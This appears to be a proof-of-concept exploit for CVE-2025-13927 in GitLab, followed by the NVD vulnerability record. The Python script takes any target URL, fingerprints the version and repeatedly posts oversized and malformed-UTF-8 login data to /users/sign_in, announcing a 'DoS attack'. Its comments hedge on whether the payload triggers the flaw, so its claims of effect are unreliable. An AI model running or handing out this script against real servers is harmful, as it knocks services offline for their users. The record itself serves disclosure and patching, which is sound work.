CVE-2025-13927

# CVE-2025-13927 PoC - GitLab DoS via Malformed Authentication # This PoC demonstrates sending malformed authentication requests import requests import sys from urllib.parse import urlencode def send_malformed_request(target_url, path="/users/sign_in"): """ Send crafted request with malformed authentication data to trigger DoS condition in vulnerable GitLab versions. """ url = f"{target_url}{path}" # Malformed authentication data - invalid UTF-8 sequences # This can cause parsing errors in authentication handling headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-13927-PoC)', 'X-CSRF-Token': 'invalid\xfe\xff\xfe\xfe\xfe\xfe\xfe\xfe\xfe', 'Cookie': 'invalid_session=malformed\x80\x81\x82\x83\x84\x85' } # Crafted POST data with malformed authentication data = { 'authenticity_token': 'A' * 1000 + '\xfe\xff\xfe\xff', 'username': 'admin\x80\x81', 'password': '\xfe\xff' * 500 } try: print(f"[*] Sending malformed request to {url}") response = requests.post(url, headers=headers, data=data, timeout=30) print(f"[*] Response status: {response.status_code}") return response except requests.exceptions.Timeout: print("[+] DoS condition triggered - request timed out") return None except Exception as e: print(f"[-] Error: {e}") return None def check_gitlab_version(target_url): """Check GitLab version via API""" try: response = requests.get(f"{target_url}/api/v4/version", timeout=10) if response.status_code == 200: return response.json() except: pass return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://gitlab.example.com") sys.exit(1) target = sys.argv[1].rstrip('/') print("[*] CVE-2025-13927 PoC - GitLab DoS via Malformed Auth") print("=" * 60) version_info = check_gitlab_version(target) if version_info: print(f"[*] GitLab version: {version_info}") print("[*] Starting DoS attack...") for i in range(5): print(f"[*] Attempt {i+1}/5") send_malformed_request(target) print("[*] Attack completed") print("[*] Check if GitLab service is still responsive")

{"cve": {"id": "CVE-2025-13927", "sourceIdentifier": "[email protected]", "published": "2026-01-22T15:16:47.453", "lastModified": "2026-01-26T21:07:51.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.9 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that could have allowed an unauthenticated user to create a denial of service condition by sending crafted requests with malformed authentication data."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab CE/EE que afecta a todas las versiones desde la 11.9 (anteriores a la 18.6.4), las versiones 18.7 (anteriores a la 18.7.2) y las versiones 18.8 (anteriores a la 18.8.2) que podría haber permitido a un usuario no autenticado crear una condición de denegación de servicio mediante el envío de solicitudes especialmente diseñadas con datos de autenticación malformados."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "11.9.0", "versionEndExcluding": "18.6.4", "matchCriteriaId": "E8BB9DB9-9C9A-450E-A8B6-2C01F9DEB420"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "11.9.0", "versionEndExcluding": "18.6.4", "matchCriteriaId": "0A2FCA01-DEC6-402D-9738-9F157067AE88"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.7.0", "versionEndExcluding": "18.7.2", "matchCriteriaId": "7E36C974-4A52-424A-8758-E45B750C013E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.7.0", "versionEndExcluding": "18.7.2", "matchCriteriaId": "F71560B5-1000-45F1-8A5C-078D6C3D03E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.8.0", "versionEndExcluding": "18.8.2", "matchCriteriaId": "582D13A9-DEEE-4E3F-BFC5-61F270C99B86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.8.0", "versionEndExcluding": "18.8.2", "matchCriteriaId": "760BBB79-D5BD-4871-8522-3C2C7E65767B"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/01/21/patch-release-gitlab-18-8-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/582737", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3439683", "source": "[email protected]", "tags": ["Permissions Required"]}]}}